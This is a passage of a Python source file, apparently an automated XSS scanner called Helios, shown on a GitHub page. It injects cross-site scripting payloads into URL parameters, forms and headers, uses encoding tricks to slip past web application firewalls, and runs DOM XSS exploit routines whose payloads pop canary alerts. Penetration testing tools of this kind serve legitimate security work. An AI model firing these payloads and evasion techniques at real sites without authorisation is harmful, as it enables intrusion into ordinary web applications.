-
Notifications
You must be signed in to change notification settings - Fork 25
/
helios.py
executable file
·1547 lines (1318 loc) · 71.7 KB
/
helios.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import argparse
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
import urllib.parse
import uuid
from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.chrome.options import Options as ChromeOptions
from selenium.webdriver.chrome.service import Service as ChromeService
from webdriver_manager.chrome import ChromeDriverManager
from selenium.common.exceptions import WebDriverException
from webdriver_manager.chrome import ChromeDriverManager
from webdriver_manager.firefox import GeckoDriverManager
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.support.ui import Select
from selenium.common.exceptions import UnexpectedAlertPresentException
import asyncio
from aiohttp import ClientSession
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
from collections import deque
from functools import wraps
import concurrent.futures
import time
import threading
import shutil
import sys
import re
import random
import string
import warnings
import textwrap
import hashlib
import json
import uvloop
import aiohttp
warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning)
session = ClientSession()
def banner():
print(f'''
{bcolors.FAIL}∞ π ∞
∞ ∞ ∞
∞ π ∞
∞∞ ∞ ∞ ∞∞
∞∞ ∞∞∞∞∞∞∞∞∞∞∞∞ ∞∞
∞∞ ∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ ∞∞
∞π ∞∞∞∞∞∞∞∞∞∞∞ ∞∞∞∞∞∞∞∞∞∞∞ ∞∞ ∞
∞ π ∞∞π∞∞∞∞∞ ∞ π π ∞∞∞∞∞π∞∞ ∞∞ π
π ∞ ∞∞∞∞∞∞∞π πππππ∞ππ ∞ π ∞∞∞∞∞∞π ∞
∞∞∞∞∞∞ ∞ π∞ ππ∞π∞π ππ∞π ∞∞∞∞∞∞
∞∞∞∞∞∞ ∞ ∞ππ ∞ ππ ∞ ππ∞ ∞∞∞∞∞
∞∞∞∞∞ ∞∞ πππ∞ ∞ ∞∞∞∞∞∞∞∞∞π ∞ ∞∞∞ ∞∞ ∞∞∞∞∞ ∞π ∞
π∞∞∞∞ π∞∞π ∞∞∞∞π∞∞∞∞∞∞∞∞ π∞∞π π π∞∞∞ π∞∞∞∞ ∞
∞∞∞∞∞ ∞π∞∞ ∞∞∞∞∞ π∞ ∞ ∞∞∞∞∞∞π π∞∞∞π ∞∞∞∞π
∞∞∞∞∞ ∞ πππ ∞∞∞∞∞∞ ∞ ∞ ∞π ∞ ∞ ∞ ∞π∞∞∞∞π ∞ ∞ ∞∞∞∞
∞∞∞∞∞ ππ π ∞ ∞∞∞ ∞∞ ∞π ∞πππ∞∞ ∞ ∞ π∞∞∞ ∞∞ ∞∞∞∞
∞∞∞∞ π ∞ π ∞∞∞∞∞∞∞ ∞∞ ∞∞ ∞π∞∞π∞∞ ∞∞ ∞∞∞∞∞∞π π∞∞ ∞∞∞∞
π ∞∞∞∞ π∞ π∞ ∞∞∞∞∞∞π ∞∞ ∞∞∞π∞∞∞∞∞ ∞∞ ∞∞ ∞∞∞ππ∞∞ ππ π ∞∞∞∞
∞∞∞π π∞ ∞ ∞∞∞∞∞∞∞∞ππ∞∞∞∞∞∞∞∞∞∞πππ∞∞∞∞∞∞∞∞∞∞ ∞ π ∞∞∞∞
π∞∞∞ π ∞∞∞∞ ∞∞π∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ ∞∞∞∞∞∞ ππ ∞∞∞
∞∞∞∞ π∞ ∞ ∞∞∞∞∞πππ∞∞∞π∞∞ {bcolors.BOLD}{bcolors.HEADER}HELIOS{bcolors.ENDC}{bcolors.FAIL} ∞∞ ∞∞∞ππ∞∞∞π∞∞ π ∞ ∞∞∞∞{bcolors.ENDC}
{bcolors.BOLD}∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ππ ∞∞∞∞ ∞ππ∞∞{bcolors.BOLD}{bcolors.WARNING}v0.3{bcolors.ENDC}{bcolors.BOLD}ππππ∞π∞∞∞∞ ∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞
∞∞∞ ∞π ∞∞∞∞πππππ∞∞ ∞∞∞∞∞∞∞∞π∞∞∞∞∞ ∞ππ∞∞∞∞∞∞∞∞ π ∞ π∞∞∞
∞∞∞∞ ∞ π∞∞∞π∞∞∞∞∞∞ ππ∞∞∞∞π∞π∞π∞ ∞π∞∞∞∞∞∞∞∞∞∞ ∞ π∞∞∞
∞∞∞∞ π ∞∞∞∞∞ ∞∞∞∞∞ π∞∞∞∞∞ ∞∞π ∞∞∞∞ ∞∞∞∞π π ∞ ∞∞∞∞
∞∞∞∞ π π∞ ∞∞∞∞∞∞∞ ∞∞ ∞ ∞∞∞π π∞∞ ∞∞∞∞ ∞∞∞∞∞∞∞π π ∞π ∞∞∞∞
∞∞∞ ∞ ∞∞∞∞∞ ∞∞ ∞∞∞∞ π∞ ππ∞ π∞∞ ∞∞∞π∞∞∞∞∞ ∞∞ π ∞∞∞∞
∞∞∞∞ π π ∞ ∞∞∞ ∞∞∞ ∞ ∞∞∞π∞∞ ∞ ∞∞∞∞ ∞∞∞∞π∞ ππ∞ ∞∞∞
∞∞∞∞ ∞ ∞ ∞∞∞∞∞π∞ ∞∞ ∞π∞∞∞∞π∞∞ ∞∞π ∞∞∞ππ π ππ ∞∞∞∞
∞∞∞∞ π∞∞π ∞ ∞∞∞∞∞∞∞∞∞π∞ ∞π∞∞∞ ∞ ∞π∞∞∞∞∞∞ π ∞∞ ∞∞∞∞
π ∞∞∞∞ ∞ ∞ π ∞ ∞∞∞∞∞∞∞ ∞∞∞∞∞∞ ∞∞∞∞∞π∞ ∞∞ ππ ∞∞∞∞
∞∞∞∞π π∞ ∞ ∞∞∞∞∞∞π∞∞∞∞ ∞∞∞∞ ∞∞∞ ∞∞∞∞∞ ∞
∞∞∞∞∞ ∞∞ ∞∞ ∞ ∞∞∞π ∞ ∞π π∞ ∞∞π∞∞
∞∞∞∞∞π π∞π π ∞π ∞ππ ∞ π∞∞∞∞∞
∞ π π∞∞∞∞∞ π∞π π∞ π ∞∞π ∞ π ∞∞∞∞∞
∞∞ π∞∞∞∞∞∞ ∞π ππππ ∞ π∞∞∞∞∞∞ ∞∞
∞∞ ∞∞∞∞∞∞∞ π∞∞∞∞∞∞∞ ∞∞
∞∞ ∞∞∞π∞∞∞∞∞∞ ∞∞∞∞∞∞∞∞∞∞ ∞∞
π ∞ π∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞π∞∞∞∞∞∞π ∞π
∞ ∞∞ ∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ π ∞π
∞ π ∞ ∞
∞π π ∞ ∞ ∞
∞π π ∞
∞∞ ∞{bcolors.ENDC}
{bcolors.BOLD}{bcolors.WARNING}Helios - Automated XSS Scanner{bcolors.ENDC}
{bcolors.BOLD}{bcolors.PURPLE}Author: {bcolors.ENDC}{bcolors.BOLD}@stuub | {bcolors.BOLD}{bcolors.PURPLE}Github: {bcolors.ENDC}{bcolors.BOLD}https://github.com/stuub{bcolors.ENDC}
''')
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
PARAM = '\033[96m'
PURPLE = '\033[95m'
class BrowserNotFoundError(Exception):
pass
class TamperTechniques:
@staticmethod
def double_encode(payload):
return urllib.parse.quote(urllib.parse.quote(payload))
@staticmethod
def uppercase(payload):
return ''.join(c.upper() if random.choice([True, False]) else c for c in payload)
@staticmethod
def hex_encode(payload):
return ''.join(f'%{ord(c):02X}' for c in payload)
@staticmethod
def json_fuzz(payload):
return json.dumps(payload)[1:-1] # Remove quotes added by json.dumps
@staticmethod
def space_to_tab(payload):
return payload.replace(' ', '\t')
def apply_tamper(payload, technique):
if technique == 'doubleencode':
return TamperTechniques.double_encode(payload)
elif technique == 'uppercase':
return TamperTechniques.uppercase(payload)
elif technique == 'hexencode':
return TamperTechniques.hex_encode(payload)
elif technique == 'jsonfuzz':
return TamperTechniques.json_fuzz(payload)
elif technique == 'spacetab':
return TamperTechniques.space_to_tab(payload)
elif technique == 'all':
tampered = payload
for tech in ['doubleencode', 'uppercase', 'hexencode', 'jsonfuzz', 'spacetab']:
tampered = apply_tamper(tampered, tech)
return tampered
else:
return payload
class XSSScanner:
def __init__(self, target_url, browser_type, headless, threads, custom_headers, cookies, output_file, payload_file, tamper):
self.target_url = target_url
self.headless = headless
self.browser_type = browser_type.lower()
self.browser_configs = {
'chrome': {
'executable': 'google-chrome',
'driver_manager': ChromeDriverManager,
'service': ChromeService,
'options': ChromeOptions,
'webdriver': webdriver.Chrome,
},
'chromium': {
'executable': 'chromium',
'driver_manager': lambda: ChromeDriverManager(chrome_type="chromium"),
'service': ChromeService,
'options': ChromeOptions,
'webdriver': webdriver.Chrome,
},
'firefox': {
'executable': 'firefox',
'driver_manager': GeckoDriverManager,
'service': FirefoxService,
'options': FirefoxOptions,
'webdriver': webdriver.Firefox,
}
}
self.threads = threads
self.custom_headers = custom_headers
self.cookies = cookies
self.output_file = output_file
self.payload_file = payload_file
self.tamper = tamper
self.verbose = False
self.skip_header_scan = False
self.crawl = False
self.crawl_depth = 2
self.scanned_urls = set()
self.discovered_urls = set()
self.detected_wafs = []
self.canary_string = uuid.uuid4().hex[:8]
self.lock = threading.Lock()
self.payload_identifiers = {}
self.payloads = self.load_payloads()
self.session = None
self.driver = None
self.request_times = deque(maxlen=1000)
self.vulnerabilities_found = []
async def create_session(self):
if self.session is None or self.session.closed:
self.session = aiohttp.ClientSession(headers=self.custom_headers, cookies=self.cookies)
async def close_session(self):
if self.session and not self.session.closed:
await self.session.close()
self.session = None
async def cleanup(self):
self.print_and_save("\n[*] Cleaning up...", important=True)
self.stop_rps_monitor()
if self.driver:
await asyncio.to_thread(self.driver.quit)
if self.session and not self.session.closed:
try:
await self.session.close()
except Exception as e:
self.print_and_save(f"[!] Error cleaning up: {str(e)}", important=True)
finally:
self.driver = None
self.print_and_save("[*] Cleanup complete.", important=True)
def setup_driver(self):
if self.browser_type not in self.browser_configs:
raise ValueError(f"Unsupported browser type: {self.browser_type}")
config = self.browser_configs[self.browser_type]
try:
if not shutil.which(config['executable']):
raise BrowserNotFoundError(f"{self.browser_type.capitalize()} is not installed or not in PATH.")
options = config['options']()
if self.headless:
options.add_argument("--headless")
service = config['service'](config['driver_manager']().install())
driver = config['webdriver'](service=service, options=options)
driver.get(self.target_url)
for name, value in self.cookies.items():
driver.add_cookie({'name': name, 'value': value})
return driver
except BrowserNotFoundError as e:
self.print_and_save(f"[!] {str(e)}", important=True)
self.print_and_save(f"[!] Please install {self.browser_type} and make sure it's in your system PATH.", important=True)
return None
except WebDriverException as e:
if "executable needs to be in PATH" in str(e):
self.print_and_save(f"[!] WebDriver not found for {self.browser_type}. Attempting to install...", important=True)
try:
config['driver_manager']().install()
return self.setup_driver() # Retry setup after installation
except Exception as install_error:
self.print_and_save(f"[!] Failed to install WebDriver: {str(install_error)}", important=True)
else:
self.print_and_save(f"[!] Error setting up {self.browser_type} driver: {str(e)}", important=True)
return None
def start_rps_monitor(self):
self.rps_monitor_running = True
self.rps_thread = threading.Thread(target=self.rps_monitor)
self.rps_thread.daemon = True
self.rps_thread.start()
self.rps_print_thread = threading.Thread(target=self.print_rps_continuously)
self.rps_print_thread.daemon = True
self.rps_print_thread.start()
def stop_rps_monitor(self):
self.rps_monitor_running = False
if self.rps_thread:
self.rps_thread.join(timeout=2)
if self.rps_print_thread:
self.rps_print_thread.join(timeout=2)
def rps_monitor(self):
while self.rps_monitor_running:
current_time = time.time()
one_second_ago = current_time - 1
self.request_times = deque([t for t in self.request_times if t > one_second_ago], maxlen=1000)
self.current_rps = len(self.request_times)
time.sleep(0.1) # Update every 100ms
def print_rps_continuously(self):
while self.rps_monitor_running:
total_requests = len(self.request_times)
sys.stdout.write(f"\r\033{bcolors.BOLD}[{bcolors.ENDC}{bcolors.PURPLE}RPS: {self.current_rps} | Total Requests: {total_requests}{bcolors.ENDC}{bcolors.BOLD}]")
sys.stdout.flush()
time.sleep(0.5) # Update display every 500ms
def log_request(self):
with self.lock:
self.request_times.append(time.time())
async def smart_wait(self, timeout=10):
try:
await asyncio.wait_for(
asyncio.to_thread(
lambda: WebDriverWait(self.driver, timeout).until(
EC.presence_of_element_located((By.TAG_NAME, "body"))
)
),
timeout=timeout
)
await asyncio.wait_for(
asyncio.to_thread(
lambda: WebDriverWait(self.driver, timeout).until(
lambda d: d.execute_script('return document.readyState') == 'complete'
)
),
timeout=timeout
)
except asyncio.TimeoutError:
self.print_and_save("[!] Timeout waiting for page to load", important=True)
def trigger_events(self):
elements = self.driver.find_elements(By.CSS_SELECTOR, 'button, a, input[type="submit"]')
for element in elements:
try:
element.click()
self.smart_wait()
self.scan_current_state()
except:
pass
def handle_client_side_routing(self):
current_url = self.driver.current_url
self.driver.execute_script("window.history.forward()")
if self.driver.current_url != current_url:
self.smart_wait()
self.scan_current_state()
def scan_current_state(self):
results = []
results.extend(self.scan_url_parameters())
results.extend(self.scan_post_parameters())
results.extend(self.scan_dom_content())
return results
def incremental_scan(self):
self.scan_current_state() # Quick initial scan
new_states = self.discover_new_states()
for state in new_states:
self.navigate_to_state(state)
self.scan_current_state()
def discover_new_states(self):
new_states = set()
elements = self.driver.find_elements(By.CSS_SELECTOR, 'a[href^="#"], button, input[type="submit"]')
for element in elements:
try:
current_url = self.driver.current_url
element.click()
self.smart_wait()
if self.driver.current_url != current_url:
new_states.add(self.driver.current_url)
self.driver.back()
self.smart_wait()
except:
pass
return new_states
def navigate_to_state(self, state):
self.driver.get(state)
self.smart_wait()
def cache_result(self, element, result):
element_hash = hashlib.md5(element.get_attribute('outerHTML').encode()).hexdigest()
self.result_cache[element_hash] = result
def get_cached_result(self, element):
element_hash = hashlib.md5(element.get_attribute('outerHTML').encode()).hexdigest()
return self.result_cache.get(element_hash)
def load_payloads(self):
if self.payload_file:
try:
with open(self.payload_file, 'r') as f:
payloads = [line.strip() for line in f if line.strip()]
self.print_and_save(f"[*] Loaded {len(payloads)} payloads from {self.payload_file}")
self.extract_payload_identifiers(payloads)
return payloads
except Exception as e:
self.print_and_save(f"[!] Error loading payload file: {str(e)}", important=True)
return self.generate_default_payloads()
else:
return self.generate_default_payloads()
def extract_payload_identifiers(self, payloads):
for payload in payloads:
alert_content = re.search(r"alert\(['\"](.+?)['\"]", payload)
if alert_content:
self.payload_identifiers[alert_content.group(1)] = payload
else:
identifier = uuid.uuid4().hex[:8]
self.payload_identifiers[identifier] = payload
self.print_and_save(f"[*] Extracted {len(self.payload_identifiers)} unique payload identifiers")
def generate_default_payloads(self):
return [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg/onload=alert('XSS')>",
"javascript:alert('XSS')"
]
def generate_random_param(self, length=8):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def customize_payload(self, payload):
for identifier, original_payload in self.payload_identifiers.items():
if payload == original_payload:
unique_id = uuid.uuid4().hex[:8]
if 'alert(' in payload:
customized = payload.replace('alert(', f'alert("{unique_id}"+')
else:
customized = f"{payload}_{unique_id}"
break
else:
customized = payload
customized = customized.replace("alert('XSS')", "window.xss_test=true;alert('XSS')")
if self.tamper:
tampered = apply_tamper(customized, self.tamper)
self.print_and_save(f"[*] Applied tamper technique '{self.tamper}': {tampered}")
return tampered
if 'alert(' in customized:
customized = customized.replace("alert(", f"alert('{self.canary_string}'+")
return customized
def print_and_save(self, message, important=False):
if self.verbose or important:
with self.lock:
message = self.color_parameters(message)
lines = message.split('\n')
for line in lines:
if important:
self.print_important(line)
else:
self.print_status(line)
if self.output_file:
clean_message = self.remove_ansi_codes(message)
with open(self.output_file, 'a') as f:
f.write(clean_message + '\n')
def color_parameters(self, message):
return re.sub(r'(parameter:\s*)(\w+)', fr'\1{bcolors.PARAM}\2{bcolors.ENDC}', message)
def remove_ansi_codes(self, message):
return re.sub(r'\033\[[0-9;]*m', '', message)
def print_status(self, message):
self.terminal_width = shutil.get_terminal_size().columns
if message.startswith('[*]'):
colored_message = f"{bcolors.OKBLUE}[*]{bcolors.ENDC} {message[3:]}"
elif message.startswith('[+]'):
colored_message = f"{bcolors.OKGREEN}[+]{bcolors.ENDC} {message[3:]}"
elif message.startswith('[!]'):
colored_message = f"{bcolors.FAIL}[!]{bcolors.ENDC} {message[3:]}"
else:
colored_message = message
wrapped_message = textwrap.fill(colored_message, self.terminal_width - 1)
sys.stdout.write("\r" + " " * self.terminal_width + "\r")
sys.stdout.write(wrapped_message + "\n")
sys.stdout.flush()
def print_important(self, message):
self.terminal_width = shutil.get_terminal_size().columns
if message.startswith('[*]'):
colored_message = f"{bcolors.OKBLUE}[*]{bcolors.ENDC} {message[3:]}"
elif message.startswith('[+]'):
colored_message = f"{bcolors.OKGREEN}[+]{bcolors.ENDC} {message[3:]}"
elif message.startswith('[!]'):
colored_message = f"{bcolors.FAIL}[!]{bcolors.ENDC} {message[3:]}"
else:
colored_message = message
wrapped_message = textwrap.fill(colored_message, self.terminal_width - 1)
sys.stdout.write("\r" + " " * self.terminal_width + "\r")
print(wrapped_message)
sys.stdout.flush()
async def scan_url_parameters(self):
results = []
parsed_url = urllib.parse.urlparse(self.target_url)
params = urllib.parse.parse_qs(parsed_url.query)
for param, value in params.items():
for payload in self.payloads:
test_url = self.target_url.replace(f"{param}={value[0]}", f"{param}={urllib.parse.quote(payload)}")
self.print_and_save(f"[*] Testing URL parameter: {param} with payload: {bcolors.WARNING}{payload}{bcolors.ENDC}")
if await self.test_payload(self.session, test_url, payload, "GET"):
self.print_and_save(f"[+] XSS vulnerability confirmed in URL parameter: {param}", important=True)
return results
async def scan_dom_content(self):
results = []
self.print_and_save("[*] Scanning for DOM-based XSS vulnerabilities")
async with self.session.get(self.target_url) as response:
content = await response.text()
soup = BeautifulSoup(content, 'html.parser')
scripts = soup.find_all('script')
for script in scripts:
if script.get('src'):
script_url = urllib.parse.urljoin(self.target_url, script['src'])
await self.test_dom_xss(None, is_external=True, script_url=script_url)
elif script.string:
await self.test_dom_xss(script.string)
for tag in soup.find_all(True):
for attr in tag.attrs:
if attr.lower().startswith('on'):
await self.test_dom_xss(tag[attr])
return results
async def fetch_external_script(self, url):
try:
async with self.session.get(url) as response:
self.log_request()
return await response.text()
except Exception as e:
self.print_and_save(f"[!] Error fetching external script {url}: {str(e)}", important=True)
return None
async def scan_headers(self):
results = []
headers_to_test = ['User-Agent', 'Referer', 'X-Forwarded-For']
for header in headers_to_test:
for payload in self.payloads:
self.print_and_save(f"[*] Testing header: {header} with payload: {bcolors.WARNING}{payload}{bcolors.ENDC}")
test_headers = {header: payload}
if await self.test_payload(self.session, self.target_url, payload, "GET", headers=test_headers):
self.print_and_save(f"[+] XSS vulnerability confirmed in header: {header}", important=True)
return results
async def scan_post_parameters(self):
results = []
async with self.session.get(self.target_url) as response:
content = await response.text()
soup = BeautifulSoup(content, 'html.parser')
forms = soup.find_all('form')
for form_index, form in enumerate(forms):
action = form.get('action', self.target_url)
if not action.startswith(('http://', 'https://')):
action = urllib.parse.urljoin(self.target_url, action)
method = form.get('method', 'get').lower()
if method != 'post':
continue
inputs = form.find_all('input')
textareas = form.find_all('textarea')
selects = form.find_all('select')
params = {}
for input_field in inputs + textareas + selects:
name = input_field.get('name')
if name:
params[name] = ''
results.append(f"[*] Testing POST form {form_index + 1} with {len(params)} parameters")
await self.test_post_params(action, params)
return results
async def test_post_params(self, url, params):
for param in params:
for payload in self.payloads:
self.print_and_save(f"[*] Testing POST parameter: {param} with payload: {bcolors.WARNING}{payload}{bcolors.ENDC}")
test_params = params.copy()
test_params[param] = payload
if await self.test_payload(self.session, url, payload, "POST", data=test_params):
self.print_and_save(f"[+] XSS vulnerability confirmed in {bcolors.BOLD}POST{bcolors.ENDC} parameter: {param}", important=True)
self.print_and_save(f"{bcolors.BOLD}Test Payload: {bcolors.OKGREEN}{payload}{bcolors.ENDC}", important=True)
self.print_and_save(f"{bcolors.BOLD}Test URL: {bcolors.OKGREEN}{url}{bcolors.ENDC}", important=True)
self.print_and_save(f"{bcolors.BOLD}Test Parameter: {bcolors.OKGREEN}{param}{bcolors.ENDC}", important=True)
def generate_default_value(self, field_type):
if field_type == 'email':
return 'test@example.com'
elif field_type == 'number':
return '123'
elif field_type == 'tel':
return '1234567890'
elif field_type == 'password':
return 'Password123!'
else:
return 'Test Input'
async def test_dom_xss(self, content, is_external=False, script_url=None):
if is_external and script_url:
self.print_and_save(f"[*] Analyzing external script: {script_url}")
content = await self.fetch_external_script(script_url)
if not content:
return False
sources = [
"document.URL", "document.documentURI", "document.URLUnencoded", "document.baseURI",
"location", "document.cookie", "document.referrer", "window.name",
"history.pushState", "history.replaceState", "localStorage", "sessionStorage",
"IndexedDB", "WebSQL", "FileSystem"
]
sinks = [
"eval", "setTimeout", "setInterval", "setImmediate", "execScript",
"crypto.generateCRMFRequest", "ScriptElement.src", "ScriptElement.text",
"ScriptElement.textContent", "ScriptElement.innerText",
"anyTag.onEventName", "range.createContextualFragment",
"crypto.generateCRMFRequest", "HTMLElement.innerHTML",
"Document.write", "Document.writeln"
]
for source in sources:
for sink in sinks:
pattern = re.compile(r'{}.*?{}'.format(re.escape(source), re.escape(sink)), re.IGNORECASE | re.DOTALL)
if pattern.search(content):
location = "an external script" if is_external else "an inline script"
self.print_and_save(f"[+] Potential DOM XSS found in {location}: {bcolors.OKGREEN}{source} flowing into {sink}", important=True)
if is_external:
self.print_and_save(f"Script URL: {script_url}")
exploit_info = await self.confirm_dom_xss(source, sink, is_external, script_url)
if exploit_info:
self.print_and_save(f"[+] DOM XSS vulnerability confirmed: {bcolors.OKGREEN}{source} {bcolors.ENDC}into {bcolors.OKGREEN}{sink}{bcolors.ENDC}", important=True)
self.print_and_save(f"[*] Exploit Information:\n{exploit_info}", important=True)
return True
vulnerable_patterns = [
(r'document\.write\s*\(\s*.*\)', "document.write"),
(r'\.innerHTML\s*=\s*.*', "innerHTML"),
(r'\.outerHTML\s*=\s*.*', "outerHTML"),
(r'\.insertAdjacentHTML\s*\(.*\)', "insertAdjacentHTML"),
(r'execScript\s*\(.*\)', "execScript"),
(r'setTimeout\s*\(.*\)', "setTimeout"),
(r'setInterval\s*\(.*\)', "setInterval"),
]
for pattern, func_name in vulnerable_patterns:
if re.search(pattern, content, re.IGNORECASE):
location = "an external script" if is_external else "an inline script"
self.print_and_save(f"[+] Potential DOM XSS vulnerability found in {location}: {bcolors.OKGREEN}{func_name}{bcolors.ENDC}", important=True)
if is_external:
self.print_and_save(f"Script URL: {script_url}")
exploit_info = await self.confirm_dom_xss(func_name, func_name, is_external, script_url)
if exploit_info:
self.print_and_save(f"[+] DOM XSS vulnerability confirmed: {func_name}", important=True)
self.print_and_save(f"[*] Exploit Information:\n{exploit_info}", important=True)
return True
return False
async def exploit_cookie_to_settimeout(self, source, sink):
payloads = [
f"document.cookie='xss=1;expires=Thu, 18 Dec 2023 12:00:00 UTC;path=/';setTimeout('alert(\"{self.canary_string}\")',100);",
f"document.cookie='xss=1;expires=Thu, 18 Dec 2023 12:00:00 UTC;path=/';setTimeout(function(){{alert('{self.canary_string}')}},100);",
f"document.cookie='xss=<img src=x onerror=setTimeout(()=>alert(\"{self.canary_string}\"),100)>;expires=Thu, 18 Dec 2023 12:00:00 UTC;path=/';"
]
for payload in payloads:
test_url = f"{self.target_url}#" + urllib.parse.quote(payload)
self.print_and_save(f"[*] Testing DOM XSS (cookie to setTimeout) URL: {test_url}", important=True)
if await self.test_single_payload(test_url, payload):
return {'payload': payload, 'url': test_url}
return None
async def exploit_location_to_eval(self, source, sink):
payloads = [
f"javascript:eval('alert(\"{self.canary_string}\")')",
f"javascript:eval(atob('YWxlcnQoInt7self.canary_string}}Iik='))", # Base64 encoded payload
f"javascript:eval('('+function(){{alert('{self.canary_string}')}}+')()')"
]
for payload in payloads:
test_url = f"{self.target_url}#" + urllib.parse.quote(payload)
self.print_and_save(f"[*] Testing DOM XSS (location to eval) URL: {test_url}", important=True)
if await self.test_single_payload(test_url, payload):
return {'payload': payload, 'url': test_url}
return None
async def exploit_innerhtml(self, source, sink):
payloads = [
f"<img src=x onerror=alert('{self.canary_string}')>",
f"<svg><script>alert('{self.canary_string}')</script></svg>",
f"<iframe srcdoc=\"<script>alert('{self.canary_string}')</script>\"></iframe>"
]
for payload in payloads:
test_url = f"{self.target_url}#" + urllib.parse.quote(payload)
self.print_and_save(f"[*] Testing DOM XSS (innerHTML) URL: {test_url}", important=True)
if await self.test_single_payload(test_url, payload):
return {'payload': payload, 'url': test_url}
return None
async def confirm_dom_xss(self, source, sink, is_external=False, script_url=None):
exploitation_strategies = {
('document.cookie', 'setTimeout'): self.exploit_cookie_to_settimeout,
('location', 'eval'): self.exploit_location_to_eval,
('innerHTML', 'innerHTML'): self.exploit_innerhtml,
# Add more source-sink pairs here
}
exploit_info = None
exploit_method = exploitation_strategies.get((source, sink))
if exploit_method:
self.print_and_save(f"[*] Attempting specific exploit for source '{source}' and sink '{sink}'.", important=True)
exploit_info = await exploit_method(source, sink)
if not exploit_info:
self.print_and_save(f"[*] Specific exploit not successful or not available. Trying general DOM XSS exploit method.", important=True)
exploit_info = await self.general_dom_xss_exploit(source, sink)
if exploit_info:
vuln_info = self.generate_exploit_info(source, sink, exploit_info['payload'], exploit_info['url'], is_external, script_url)
